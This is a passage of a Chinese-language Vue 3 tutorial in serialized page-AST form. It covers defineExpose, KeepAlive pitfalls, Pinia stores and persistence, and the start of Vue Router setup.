import('.\u002FPage.vue')",[22,12988,12989],{},"\u003CSuspense>","（实验性）能把「等待异步依赖」的边界统一交给模板管理，配合 ",[22,12992,12993],{},"async setup"," 使用；入门阶段先知道它存在即可。",[119,12996,12998,1413,13000,13002],{"id":12997},"defineexposescript-setup-默认是封闭的",[22,12999,9017],{},[22,13001,439],{}," 默认是封闭的",[127,13004,13006],{"className":305,"code":13005,"language":307,"meta":132,"style":132},"\u003C!-- FieldText.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst inner = ref('秘密')\nfunction focus() { \u002F* ... *\u002F }\ndefineExpose({ focus })          \u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n\u003C\u002Fscript>\n",[22,13007,13008,13013,13023,13033,13051,13064,13074],{"__ignoreMap":132},[136,13009,13010],{"class":138,"line":139},[136,13011,13012],{"class":456},"\u003C!-- FieldText.vue -->\n",[136,13014,13015,13017,13019,13021],{"class":138,"line":169},[136,13016,143],{"class":142},[136,13018,181],{"class":146},[136,13020,318],{"class":150},[136,13022,166],{"class":142},[136,13024,13025,13027,13029,13031],{"class":138,"line":176},[136,13026,325],{"class":232},[136,13028,328],{"class":142},[136,13030,331],{"class":232},[136,13032,334],{"class":157},[136,13034,13035,13037,13040,13042,13044,13046,13049],{"class":138,"line":199},[136,13036,339],{"class":232},[136,13038,13039],{"class":236}," inner",[136,13041,240],{"class":232},[136,13043,346],{"class":150},[136,13045,249],{"class":142},[136,13047,13048],{"class":157},"'秘密'",[136,13050,255],{"class":142},[136,13052,13053,13055,13058,13060,13062],{"class":138,"line":208},[136,13054,5231],{"class":232},[136,13056,13057],{"class":150}," focus",[136,13059,476],{"class":142},[136,13061,4459],{"class":456},[136,13063,4346],{"class":142},[136,13065,13066,13068,13071],{"class":138,"line":220},[136,13067,9017],{"class":150},[136,13069,13070],{"class":142},"({ focus })          ",[136,13072,13073],{"class":456},"\u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n",[136,13075,13076,13078,13080],{"class":138,"line":229},[136,13077,292],{"class":142},[136,13079,181],{"class":146},[136,13081,166],{"class":142},[10,13083,13084,13085,13088,13089,4780,13092,13094],{},"父级 ",[22,13086,13087],{},"fieldRef.value.focus()"," 可用，",[22,13090,13091],{},"fieldRef.value.inner",[22,13093,1734],{},"。这是刻意的设计（组件内部实现属于隐私），别为了「方便」把整个实例 expose 出去——优先用 props\u002Femit。",[801,13096],{"height":9595,"src":13097,"title":13098},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F14-dynamic-keepalive.html","示例 14：动态组件、KeepAlive 缓存与异步组件加载态",[10,13100,13101,13102,13104,13105,1452,13108,849],{},"示例 14 的开关能直观看到：不包 ",[22,13103,11289],{}," 时切走再回来输入没了（走的是 unmount\u002Fmount），包上之后内容还在、日志打的是 ",[22,13106,13107],{},"deactivated",[22,13109,13110],{},"activated",[119,13112,816],{"id":13113},"️-本章的坑-13",[10,13115,13116,13123,13124,13127,13128,13130],{},[17,13117,13118,13119,13122],{},"1. 组件对象被 ",[22,13120,13121],{},"ref()"," 包装。"," 出现 ",[22,13125,13126],{},"Component is being stateful... \u002F Vue 警告组件被代理","，并伴随性能损耗。组件定义请用 ",[22,13129,3479],{}," 或普通常量。",[10,13132,13133,13139,13140,849],{},[17,13134,13135,13136,13138],{},"2. KeepAlive 里 ",[22,13137,608],{}," 不再「每次进入都跑」。"," 用户从 tab 切走再回来，你以为会刷新数据，其实什么都没发生。需要每次进入刷新的逻辑写在 ",[22,13141,11503],{},[10,13143,13144,822,13149,13151,13152,849],{},[17,13145,878,13146,13148],{},[22,13147,12851],{}," 匹配不到。",[22,13150,439],{}," 组件名靠文件名推断，动态\u002F打包后与预期不符 → 缓存完全没生效。显式 ",[22,13153,13154],{},"defineOptions({ name: 'X' })",[10,13156,13157,13166,13167,13170,13171,13174],{},[17,13158,13159,13160,422,13162,13165],{},"4. 多根组件包在 ",[22,13161,11289],{},[22,13163,13164],{},"Transition"," 里直接报错。"," 这两者都要求默认插槽只有",[17,13168,13169],{},"一个","元素，且该元素是",[17,13172,13173],{},"单根","的。",[10,13176,13177,13183,13184,13187,13188,13190],{},[17,13178,13179,13180,13182],{},"5. 忘记 ",[22,13181,12874],{}," 导致内存吃紧。"," 每个被缓存的 tab 都活着（包括它的数据与定时器）。列表型 tab 建议 ",[22,13185,13186],{},":max=\"5\""," 或用 ",[22,13189,12864],{}," 排除重组件。",[10,13192,13193,13196,13197,13199],{},[17,13194,13195],{},"6. 缓存组件里的全局监听不会自动解绑。"," 因为它压根没走卸载钩子——",[22,13198,11296],{}," 里也要记得移除监听。",[10,13201,13202,13205,13206,849],{},[17,13203,13204],{},"7. 异步组件默认每次重新挂载都会重新请求 chunk。"," 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 ",[22,13207,11289],{},[10,13209,13210,13219,13220,13223],{},[17,13211,4882,13212,13215,13216,13218],{},[22,13213,13214],{},":is"," 的值是 ",[22,13217,1734],{}," 时什么都不渲染","，且开发版只给一句弱警告。用 ",[22,13221,13222],{},"v-if=\"current\""," 兜一层，或给个默认组件——「页面空白但没报错」多半就是这个。",[119,13225,13227],{"id":13226},"附常用组合速查","附：常用组合速查",[53,13229,13230,13239],{},[56,13231,13232],{},[59,13233,13234,13236],{},[62,13235,4907],{},[62,13237,13238],{},"组合写法",[72,13240,13241,13254,13268,13278,13289,13301],{},[59,13242,13243,13246],{},[77,13244,13245],{},"tab 面板",[77,13247,13248,862,13251],{},[22,13249,13250],{},"\u003Ccomponent :is=\"tabMap[key]\" \u002F>",[22,13252,13253],{},"KeepAlive include",[59,13255,13256,13259],{},[77,13257,13258],{},"表单字段按类型渲染",[77,13260,13261,13263,13264,862,13266],{},[22,13262,3479],{}," 存组件 + ",[22,13265,12574],{},[22,13267,1255],{},[59,13269,13270,13273],{},[77,13271,13272],{},"首屏之外的重组件",[77,13274,13275],{},[22,13276,13277],{},"defineAsyncComponent(() => import(...))",[59,13279,13280,13283],{},[77,13281,13282],{},"需要动画的切换",[77,13284,13285,13288],{},[22,13286,13287],{},"\u003CTransition name=\"x\">\u003Ccomponent :is=\"v\" \u002F>\u003C\u002FTransition>","（单根）",[59,13290,13291,13293],{},[77,13292,9009],{},[77,13294,13295,13296,13298,13299],{},"子 ",[22,13297,9017],{}," + 父模板 ",[22,13300,246],{},[59,13302,13303,13306],{},[77,13304,13305],{},"缓存数量兜底",[77,13307,13308],{},[22,13309,13310],{},"\u003CKeepAlive :max=\"5\">",[35,13312,13314],{"id":13313},"十五pinia跨页面共享状态","十五、Pinia：跨页面共享状态",[10,13316,13317,13318,13321],{},"组件树解决「谁是谁的孩子」，但实际项目里总有数据不属于任何一棵子树：登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传，放外面又丢了响应性。",[17,13319,13320],{},"状态管理库","把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。",[10,13323,13324],{},"Vue 生态现在的答案是 Pinia（Vuex 已进入维护状态，新项目别选它）。",[119,13326,13327],{"id":13327},"安装与最小闭环",[127,13329,13333],{"className":13330,"code":13331,"language":13332,"meta":132,"style":132},"language-bash shiki shiki-themes github-dark","npm install pinia        # Vue 3 + Vite 项目\n","bash",[22,13334,13335],{"__ignoreMap":132},[136,13336,13337,13340,13343,13346],{"class":138,"line":139},[136,13338,13339],{"class":150},"npm",[136,13341,13342],{"class":157}," install",[136,13344,13345],{"class":157}," pinia",[136,13347,13348],{"class":456},"        # Vue 3 + Vite 项目\n",[127,13350,13352],{"className":447,"code":13351,"language":449,"meta":132,"style":132},"\u002F\u002F main.js\nimport { createApp } from 'vue'\nimport { createPinia } from 'pinia'\nimport App from '.\u002FApp.vue'\n\ncreateApp(App).use(createPinia()).mount('#app')\n",[22,13353,13354,13359,13370,13382,13394,13398],{"__ignoreMap":132},[136,13355,13356],{"class":138,"line":139},[136,13357,13358],{"class":456},"\u002F\u002F main.js\n",[136,13360,13361,13363,13366,13368],{"class":138,"line":169},[136,13362,325],{"class":232},[136,13364,13365],{"class":142}," { createApp } ",[136,13367,331],{"class":232},[136,13369,334],{"class":157},[136,13371,13372,13374,13377,13379],{"class":138,"line":176},[136,13373,325],{"class":232},[136,13375,13376],{"class":142}," { createPinia } ",[136,13378,331],{"class":232},[136,13380,13381],{"class":157}," 'pinia'\n",[136,13383,13384,13386,13389,13391],{"class":138,"line":199},[136,13385,325],{"class":232},[136,13387,13388],{"class":142}," App ",[136,13390,331],{"class":232},[136,13392,13393],{"class":157}," '.\u002FApp.vue'\n",[136,13395,13396],{"class":138,"line":208},[136,13397,173],{"emptyLinePlaceholder":172},[136,13399,13400,13402,13405,13407,13409,13412,13415,13417,13419,13421],{"class":138,"line":220},[136,13401,214],{"class":150},[136,13403,13404],{"class":142},"(App).",[136,13406,12318],{"class":150},[136,13408,249],{"class":142},[136,13410,13411],{"class":150},"createPinia",[136,13413,13414],{"class":142},"()).",[136,13416,279],{"class":150},[136,13418,249],{"class":142},[136,13420,284],{"class":157},[136,13422,255],{"class":142},[127,13424,13426],{"className":447,"code":13425,"language":449,"meta":132,"style":132},"\u002F\u002F stores\u002Fcounter.js —— setup store（推荐写法：长得像组件）\nimport { ref, computed } from 'vue'\nimport { defineStore } from 'pinia'\n\nexport const useCounter = defineStore('counter', () => {\n  const count = ref(0)\n  const double = computed(() => count.value * 2)\n  function inc(step = 1) { count.value += step }\n  async function loadFromServer() { \u002F* ... *\u002F }\n  return { count, double, inc, loadFromServer }\n})\n",[22,13427,13428,13433,13443,13454,13458,13483,13499,13521,13547,13563,13570],{"__ignoreMap":132},[136,13429,13430],{"class":138,"line":139},[136,13431,13432],{"class":456},"\u002F\u002F stores\u002Fcounter.js —— setup store（推荐写法：长得像组件）\n",[136,13434,13435,13437,13439,13441],{"class":138,"line":169},[136,13436,325],{"class":232},[136,13438,4047],{"class":142},[136,13440,331],{"class":232},[136,13442,334],{"class":157},[136,13444,13445,13447,13450,13452],{"class":138,"line":176},[136,13446,325],{"class":232},[136,13448,13449],{"class":142}," { defineStore } ",[136,13451,331],{"class":232},[136,13453,13381],{"class":157},[136,13455,13456],{"class":138,"line":199},[136,13457,173],{"emptyLinePlaceholder":172},[136,13459,13460,13462,13465,13467,13469,13472,13474,13477,13479,13481],{"class":138,"line":208},[136,13461,462],{"class":232},[136,13463,13464],{"class":232}," const",[136,13466,11923],{"class":236},[136,13468,240],{"class":232},[136,13470,13471],{"class":150}," defineStore",[136,13473,249],{"class":142},[136,13475,13476],{"class":157},"'counter'",[136,13478,11787],{"class":142},[136,13480,593],{"class":232},[136,13482,468],{"class":142},[136,13484,13485,13487,13489,13491,13493,13495,13497],{"class":138,"line":220},[136,13486,4675],{"class":232},[136,13488,565],{"class":236},[136,13490,240],{"class":232},[136,13492,346],{"class":150},[136,13494,249],{"class":142},[136,13496,485],{"class":236},[136,13498,255],{"class":142},[136,13500,13501,13503,13505,13507,13509,13511,13513,13515,13517,13519],{"class":138,"line":229},[136,13502,4675],{"class":232},[136,13504,582],{"class":236},[136,13506,240],{"class":232},[136,13508,587],{"class":150},[136,13510,590],{"class":142},[136,13512,593],{"class":232},[136,13514,596],{"class":142},[136,13516,509],{"class":232},[136,13518,512],{"class":236},[136,13520,255],{"class":142},[136,13522,13523,13526,13529,13531,13534,13536,13539,13542,13544],{"class":138,"line":258},[136,13524,13525],{"class":232},"  function",[136,13527,13528],{"class":150}," inc",[136,13530,249],{"class":142},[136,13532,13533],{"class":703},"step",[136,13535,240],{"class":232},[136,13537,13538],{"class":236}," 1",[136,13540,13541],{"class":142},") { count.value ",[136,13543,8332],{"class":232},[136,13545,13546],{"class":142}," step }\n",[136,13548,13549,13552,13554,13557,13559,13561],{"class":138,"line":267},[136,13550,13551],{"class":232},"  async",[136,13553,11920],{"class":232},[136,13555,13556],{"class":150}," loadFromServer",[136,13558,476],{"class":142},[136,13560,4459],{"class":456},[136,13562,4346],{"class":142},[136,13564,13565,13567],{"class":138,"line":273},[136,13566,11955],{"class":232},[136,13568,13569],{"class":142}," { count, double, inc, loadFromServer }\n",[136,13571,13572],{"class":138,"line":289},[136,13573,2502],{"class":142},[127,13575,13577],{"className":305,"code":13576,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { useCounter } from '@\u002Fstores\u002Fcounter'\nconst store = useCounter()          \u002F\u002F 组件里再调用，不要在模块顶层调\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ store.count }} \u002F {{ store.double }}\u003C\u002Fp>\n  \u003Cbutton @click=\"store.inc()\">+1\u003C\u002Fbutton>   \u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n\u003C\u002Ftemplate>\n",[22,13578,13579,13589,13601,13618,13626,13630,13638,13651,13673],{"__ignoreMap":132},[136,13580,13581,13583,13585,13587],{"class":138,"line":139},[136,13582,143],{"class":142},[136,13584,181],{"class":146},[136,13586,318],{"class":150},[136,13588,166],{"class":142},[136,13590,13591,13593,13596,13598],{"class":138,"line":169},[136,13592,325],{"class":232},[136,13594,13595],{"class":142}," { useCounter } ",[136,13597,331],{"class":232},[136,13599,13600],{"class":157}," '@\u002Fstores\u002Fcounter'\n",[136,13602,13603,13605,13608,13610,13612,13615],{"class":138,"line":176},[136,13604,339],{"class":232},[136,13606,13607],{"class":236}," store",[136,13609,240],{"class":232},[136,13611,11923],{"class":150},[136,13613,13614],{"class":142},"()          ",[136,13616,13617],{"class":456},"\u002F\u002F 组件里再调用，不要在模块顶层调\n",[136,13619,13620,13622,13624],{"class":138,"line":199},[136,13621,292],{"class":142},[136,13623,181],{"class":146},[136,13625,166],{"class":142},[136,13627,13628],{"class":138,"line":208},[136,13629,173],{"emptyLinePlaceholder":172},[136,13631,13632,13634,13636],{"class":138,"line":220},[136,13633,143],{"class":142},[136,13635,371],{"class":146},[136,13637,166],{"class":142},[136,13639,13640,13642,13644,13647,13649],{"class":138,"line":229},[136,13641,378],{"class":142},[136,13643,10],{"class":146},[136,13645,13646],{"class":142},">{{ store.count }} \u002F {{ store.double }}\u003C\u002F",[136,13648,10],{"class":146},[136,13650,166],{"class":142},[136,13652,13653,13655,13657,13659,13661,13664,13666,13668,13670],{"class":138,"line":258},[136,13654,378],{"class":142},[136,13656,2238],{"class":146},[136,13658,2241],{"class":150},[136,13660,154],{"class":142},[136,13662,13663],{"class":157},"\"store.inc()\"",[136,13665,3224],{"class":142},[136,13667,2238],{"class":146},[136,13669,2400],{"class":142},[136,13671,13672],{"class":456},"\u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n",[136,13674,13675,13677,13679],{"class":138,"line":267},[136,13676,292],{"class":142},[136,13678,371],{"class":146},[136,13680,166],{"class":142},[10,13682,13683,13684,9267],{},"选项式 store 也支持（更接近 Vuex 手感，自带 ",[22,13685,13686],{},"$reset",[127,13688,13690],{"className":447,"code":13689,"language":449,"meta":132,"style":132},"export const useCart = defineStore('cart', {\n  state: () => ({ items: [], coupon: '' }),\n  getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },\n  actions: {\n    add(item) { \u002F* this.items.push(item) *\u002F }\n  }\n})\n",[22,13691,13692,13712,13729,13780,13785,13802,13807],{"__ignoreMap":132},[136,13693,13694,13696,13698,13701,13703,13705,13707,13710],{"class":138,"line":139},[136,13695,462],{"class":232},[136,13697,13464],{"class":232},[136,13699,13700],{"class":236}," useCart",[136,13702,240],{"class":232},[136,13704,13471],{"class":150},[136,13706,249],{"class":142},[136,13708,13709],{"class":157},"'cart'",[136,13711,2481],{"class":142},[136,13713,13714,13717,13719,13721,13724,13726],{"class":138,"line":169},[136,13715,13716],{"class":150},"  state",[136,13718,4281],{"class":142},[136,13720,593],{"class":232},[136,13722,13723],{"class":142}," ({ items: [], coupon: ",[136,13725,1738],{"class":157},[136,13727,13728],{"class":142}," }),\n",[136,13730,13731,13734,13737,13739,13741,13743,13745,13748,13750,13752,13754,13756,13758,13760,13762,13765,13767,13770,13772,13775,13777],{"class":138,"line":176},[136,13732,13733],{"class":142},"  getters: { ",[136,13735,13736],{"class":150},"total",[136,13738,700],{"class":142},[136,13740,4136],{"class":703},[136,13742,707],{"class":142},[136,13744,593],{"class":232},[136,13746,13747],{"class":142}," s.items.",[136,13749,4130],{"class":150},[136,13751,4133],{"class":142},[136,13753,1277],{"class":703},[136,13755,4139],{"class":142},[136,13757,4142],{"class":703},[136,13759,707],{"class":142},[136,13761,593],{"class":232},[136,13763,13764],{"class":142}," a ",[136,13766,4152],{"class":232},[136,13768,13769],{"class":142}," x.price ",[136,13771,509],{"class":232},[136,13773,13774],{"class":142}," x.qty, ",[136,13776,485],{"class":236},[136,13778,13779],{"class":142},") },\n",[136,13781,13782],{"class":138,"line":199},[136,13783,13784],{"class":142},"  actions: {\n",[136,13786,13787,13790,13792,13794,13797,13800],{"class":138,"line":208},[136,13788,13789],{"class":150},"    add",[136,13791,249],{"class":142},[136,13793,2664],{"class":703},[136,13795,13796],{"class":142},") { ",[136,13798,13799],{"class":456},"\u002F* this.items.push(item) *\u002F",[136,13801,4346],{"class":142},[136,13803,13804],{"class":138,"line":220},[136,13805,13806],{"class":142},"  }\n",[136,13808,13809],{"class":138,"line":229},[136,13810,2502],{"class":142},[53,13812,13813,13821],{},[56,13814,13815],{},[59,13816,13817,13819],{},[62,13818,3804],{},[62,13820,2769],{},[72,13822,13823,13833,13843,13853,13863,13873,13882,13892],{},[59,13824,13825,13830],{},[77,13826,13827],{},[22,13828,13829],{},"store.count",[77,13831,13832],{},"读写状态（自动 unwrap ref）",[59,13834,13835,13840],{},[77,13836,13837],{},[22,13838,13839],{},"storeToRefs(store)",[77,13841,13842],{},"解构时保住响应性（方法单独拿出来）",[59,13844,13845,13850],{},[77,13846,13847],{},[22,13848,13849],{},"store.$patch({ items: [] })",[77,13851,13852],{},"批量改（devtools 里合成一条记录）",[59,13854,13855,13860],{},[77,13856,13857],{},[22,13858,13859],{},"store.$patch((s) => { … })",[77,13861,13862],{},"函数式批量改",[59,13864,13865,13870],{},[77,13866,13867],{},[22,13868,13869],{},"store.$reset()",[77,13871,13872],{},"重置回初始 state（setup store 需自己实现）",[59,13874,13875,13880],{},[77,13876,13877],{},[22,13878,13879],{},"store.$state = { … }",[77,13881,3813],{},[59,13883,13884,13889],{},[77,13885,13886],{},[22,13887,13888],{},"store.$subscribe((m, s) => …)",[77,13890,13891],{},"订阅变化（做持久化的地基）",[59,13893,13894,13899],{},[77,13895,13896],{},[22,13897,13898],{},"store.$onAction(({ after, onError }) => …)",[77,13900,13901],{},"拦截动作（埋点、错误上报）",[119,13903,13905],{"id":13904},"持久化先把这一层想清楚","持久化：先把这一层想清楚",[10,13907,13908,13909,13912,13913,13916,13917,862,13919,1413],{},"Pinia 本体不做持久化。两种路子：插件（",[22,13910,13911],{},"pinia-plugin-persistedstate","，配置 ",[22,13914,13915],{},"persist: true","）或手写 ",[22,13918,3720],{},[22,13920,1557],{},[127,13922,13924],{"className":447,"code":13923,"language":449,"meta":132,"style":132},"\u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\nwatch(\n  () => ({ token: userStore.token, profile: userStore.profile }),\n  (v) => localStorage.setItem('user', JSON.stringify(v)),\n  { deep: true }\n)\n",[22,13925,13926,13931,13938,13948,13979,13988],{"__ignoreMap":132},[136,13927,13928],{"class":138,"line":139},[136,13929,13930],{"class":456},"\u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\n",[136,13932,13933,13935],{"class":138,"line":169},[136,13934,3720],{"class":150},[136,13936,13937],{"class":142},"(\n",[136,13939,13940,13943,13945],{"class":138,"line":176},[136,13941,13942],{"class":142},"  () ",[136,13944,593],{"class":232},[136,13946,13947],{"class":142}," ({ token: userStore.token, profile: userStore.profile }),\n",[136,13949,13950,13953,13955,13957,13959,13962,13964,13966,13968,13970,13972,13974,13976],{"class":138,"line":199},[136,13951,13952],{"class":142},"  (",[136,13954,4316],{"class":703},[136,13956,707],{"class":142},[136,13958,593],{"class":232},[136,13960,13961],{"class":142}," localStorage.",[136,13963,12174],{"class":150},[136,13965,249],{"class":142},[136,13967,11660],{"class":157},[136,13969,4139],{"class":142},[136,13971,1532],{"class":236},[136,13973,3594],{"class":142},[136,13975,3606],{"class":150},[136,13977,13978],{"class":142},"(v)),\n",[136,13980,13981,13984,13986],{"class":138,"line":208},[136,13982,13983],{"class":142},"  { deep: ",[136,13985,4532],{"class":236},[136,13987,4346],{"class":142},[136,13989,13990],{"class":138,"line":220},[136,13991,255],{"class":142},[10,13993,13994,13995,13998,13999,14002,14003,14006],{},"三条纪律：",[17,13996,13997],{},"只存该存的","（token 可以，完整用户资料没必要）；",[17,14000,14001],{},"存之前想清楚版本","（结构变了读回旧数据要能兜底）；",[17,14004,14005],{},"别把 store 整个 stringify","（里面可能有不可序列化的东西，devtools 也会抱怨）。",[801,14008],{"height":14009,"src":14010,"title":14011},640,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F15-pinia-store.html","示例 15：两个组件共享同一个 store 与解构失效现场",[10,14013,14014,14015,14018,14019,14022,14023,14026],{},"示例 15 把两个「页面级组件」并排放着，它们各自 ",[22,14016,14017],{},"useCounter()"," 拿到的是同一个 store 实例；第二块演示 ",[22,14020,14021],{},"const { count } = store"," 之后界面不再更新，",[22,14024,14025],{},"storeToRefs"," 一按就活了。",[119,14028,816],{"id":14029},"️-本章的坑-14",[10,14031,14032,822,14035,8875,14037,14039,14040,14042],{},[17,14033,14034],{},"1. 直接解构 store 丢响应性。",[22,14036,12410],{},[22,14038,8554],{}," 是普通数字快照（setup store 甚至更微妙）。请用 ",[22,14041,13839],{}," 解构状态，动作（action）可以单独解构。",[10,14044,14045,14051,14052,14055,14056,14059,14060,6283,14063,14065],{},[17,14046,14047,14048,849],{},"2. 在模块顶层调 ",[22,14049,14050],{},"useXxxStore()"," 「调用 store」必须在 ",[22,14053,14054],{},"app.use(createPinia())"," 之后、且在组件 setup 上下文里。模块顶层调用会得到 ",[22,14057,14058],{},"getActivePinia was called with no active Pinia"," 报错。写 ",[22,14061,14062],{},"const store = useCounter()",[22,14064,439],{}," 里才对。",[10,14067,14068,14074,14075,14078],{},[17,14069,14070,14071,849],{},"3. setup store 没有 ",[22,14072,14073],{},"$reset()"," 需要重置就自己在里面写 ",[22,14076,14077],{},"function $reset() { count.value = 0 }","（Pinia 允许你覆盖这个保留名）。",[10,14080,14081,14084,14085,14088,14089,14092],{},[17,14082,14083],{},"4. 两个 store 互相引用形成循环。"," A 里 ",[22,14086,14087],{},"useB()","、B 里 ",[22,14090,14091],{},"useA()"," 会导致初始化顺序炸掉。解法：把「调用」挪进 action 内部（用到时才取），或引入第三个 store 承担协调。",[10,14094,14095,400,14098,14100],{},[17,14096,14097],{},"5. getters 里做副作用。",[22,14099,428],{}," 同一纪律（第五章）——它只负责算值。发请求、埋点放 action。",[10,14102,14103,14109,14110,14113,14114,849],{},[17,14104,14105,14106,14108],{},"6. action 里用箭头函数导致 ",[22,14107,530],{}," 丢失。"," 选项式 store 的 ",[22,14111,14112],{},"actions: { add: () => { this.items.push() } }"," 直接坏掉。用普通函数 ",[22,14115,14116],{},"add() {}",[10,14118,14119,14122],{},[17,14120,14121],{},"7. 持久化把敏感信息写进 localStorage。"," 刷新令牌、完整用户对象留在浏览器里，XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。",[10,14124,14125,14128,14129],{},[17,14126,14127],{},"8. 把 store 当成「全局变量垃圾桶」。"," 组件级状态（弹窗开合、当前表单草稿）放 store，会让复用和测试都变难。",[17,14130,14131],{},"判断标准：需要跨路由\u002F跨不相关组件共享，才进 store。",[10,14133,14134,14137,14138,14140],{},[17,14135,14136],{},"9. SSR\u002F服务端渲染下的状态串号。"," 全局单例 store 在多请求间会串数据。做 SSR（Nuxt）时每个请求要独立实例——这正是 Nuxt 教程里 ",[22,14139,7700],{}," + 服务端注意事项那章要解决的问题。",[119,14142,14144],{"id":14143},"附状态方案的选择","附：状态方案的选择",[53,14146,14147,14156],{},[56,14148,14149],{},[59,14150,14151,14154],{},[62,14152,14153],{},"状态范围",[62,14155,8932],{},[72,14157,14158,14169,14182,14193,14200,14211],{},[59,14159,14160,14163],{},[77,14161,14162],{},"单个组件内部",[77,14164,14165,422,14167],{},[22,14166,246],{},[22,14168,3400],{},[59,14170,14171,14174],{},[77,14172,14173],{},"父 ↔ 子",[77,14175,14176,422,14178,422,14180],{},[22,14177,3685],{},[22,14179,4753],{},[22,14181,2881],{},[59,14183,14184,14187],{},[77,14185,14186],{},"同一子树共享（主题、表单上下文）",[77,14188,14189,422,14191],{},[22,14190,8987],{},[22,14192,8990],{},[59,14194,14195,14198],{},[77,14196,14197],{},"跨页面、全局共享（用户、购物车）",[77,14199,9001],{},[59,14201,14202,14205],{},[77,14203,14204],{},"服务端数据（列表、详情，需缓存与重新获取）",[77,14206,14207,14210],{},[22,14208,14209],{},"useFetch","（Nuxt）\u002F TanStack Query 一类",[59,14212,14213,14216],{},[77,14214,14215],{},"纯 URL 可表达的状态（筛选、分页、tab）",[77,14217,14218],{},"路由 query（第十六章）",[35,14220,14222],{"id":14221},"十六vue-router单页应用的路由","十六、Vue Router：单页应用的路由",[10,14224,14225,14226,14229],{},"路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 ",[17,14227,14228],{},"Vue Router 5","（Nuxt 4 里用的就是它），语法与 v4 基本一致。",[119,14231,14232],{"id":14232},"三步建起来",[127,14234,14236],{"className":13330,"code":14235,"language":13332,"meta":132,"style":132},"npm install vue-router\n",[22,14237,14238],{"__ignoreMap":132},[136,14239,14240,14242,14244],{"class":138,"line":139},[136,14241,13339],{"class":150},[136,14243,13342],{"class":157},[136,14245,14246],{"class":157}," vue-router\n",[127,14248,14250],{"className":447,"code":14249,"language":449,"meta":132,"style":132},"\u002F\u002F router\u002Findex.js\nimport { createRouter, createWebHistory } from 'vue-router'\nimport Home from '@\u002Fviews\u002FHome.vue'\n\nconst routes = [\n  { path: '\u002F', name: 'home', component: Home },\n  { path: '\u002Fabout', name: 'about', component: () => import('@\u002Fviews\u002FAbout.vue') },   \u002F\u002F 懒加载\n  { path: '\u002Fusers\u002F:id', name: 'user', component: () => import('@\u002Fviews\u002FUser.vue'), props: true },\n  { path: '\u002Fposts\u002F:page?', component: () => import('@\u002Fviews\u002FPosts.vue') },          \u002F\u002F 可选参数（省略时 undefined）\n  {\n    path: '\u002Fdashboard',\n    component: () => import('@\u002Fviews\u002FDashboard.vue'),\n    children: [                                  \u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n      { path: '', component: DashboardHome },    \u002F\u002F \u002Fdashboard\n      { path: 'analytics', component: Analytics } \u002F\u002F \u002Fdashboard\u002Fanalytics\n    ]\n  },\n  { path: '\u002F:pathMatch(.*)*', name: 'not-found', component: NotFound }   \u002F\u002F 兜底 404\n]\n\nexport const router = createRouter({\n  history: createWebHistory(),        \u002F\u002F 干净 URL，需要服务端 fallback\n  routes,\n  scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }\n})\n",[22,14251,14252,14257,14269,14281,14285,14297,14314,14347,14380,14408,14413,14423,14441,14449,14462,14475,14480,14485,14503,14508,14512,14528,14542,14547,14588],{"__ignoreMap":132},[136,14253,14254],{"class":138,"line":139},[136,14255,14256],{"class":456},"\u002F\u002F router\u002Findex.js\n",[136,14258,14259,14261,14264,14266],{"class":138,"line":169},[136,14260,325],{"class":232},[136,14262,14263],{"class":142}," { createRouter, createWebHistory } ",[136,14265,331],{"class":232},[136,14267,14268],{"class":157}," 'vue-router'\n",[136,14270,14271,14273,14276,14278],{"class":138,"line":176},[136,14272,325],{"class":232},[136,14274,14275],{"class":142}," Home ",[136,14277,331],{"class":232},[136,14279,14280],{"class":157}," '@\u002Fviews\u002FHome.vue'\n",[136,14282,14283],{"class":138,"line":199},[136,14284,173],{"emptyLinePlaceholder":172},[136,14286,14287,14289,14292,14294],{"class":138,"line":208},[136,14288,339],{"class":232},[136,14290,14291],{"class":236}," routes",[136,14293,240],{"class":232},[136,14295,14296],{"class":142}," [\n",[136,14298,14299,14302,14305,14308,14311],{"class":138,"line":220},[136,14300,14301],{"class":142},"  { path: ",[136,14303,14304],{"class":157},"'\u002F'",[136,14306,14307],{"class":142},", name: ",[136,14309,14310],{"class":157},"'home'",[136,14312,14313],{"class":142},", component: Home },\n",[136,14315,14316,14318,14321,14323,14326,14328,14330,14332,14334,14336,14338,14341,14344],{"class":138,"line":229},[136,14317,14301],{"class":142},[136,14319,14320],{"class":157},"'\u002Fabout'",[136,14322,14307],{"class":142},[136,14324,14325],{"class":157},"'about'",[136,14327,4139],{"class":142},[136,14329,669],{"class":150},[136,14331,4281],{"class":142},[136,14333,593],{"class":232},[136,14335,12927],{"class":232},[136,14337,249],{"class":142},[136,14339,14340],{"class":157},"'@\u002Fviews\u002FAbout.vue'",[136,14342,14343],{"class":142},") },   ",[136,14345,14346],{"class":456},"\u002F\u002F 懒加载\n",[136,14348,14349,14351,14354,14356,14358,14360,14362,14364,14366,14368,14370,14373,14376,14378],{"class":138,"line":258},[136,14350,14301],{"class":142},[136,14352,14353],{"class":157},"'\u002Fusers\u002F:id'",[136,14355,14307],{"class":142},[136,14357,11660],{"class":157},[136,14359,4139],{"class":142},[136,14361,669],{"class":150},[136,14363,4281],{"class":142},[136,14365,593],{"class":232},[136,14367,12927],{"class":232},[136,14369,249],{"class":142},[136,14371,14372],{"class":157},"'@\u002Fviews\u002FUser.vue'",[136,14374,14375],{"class":142},"), props: 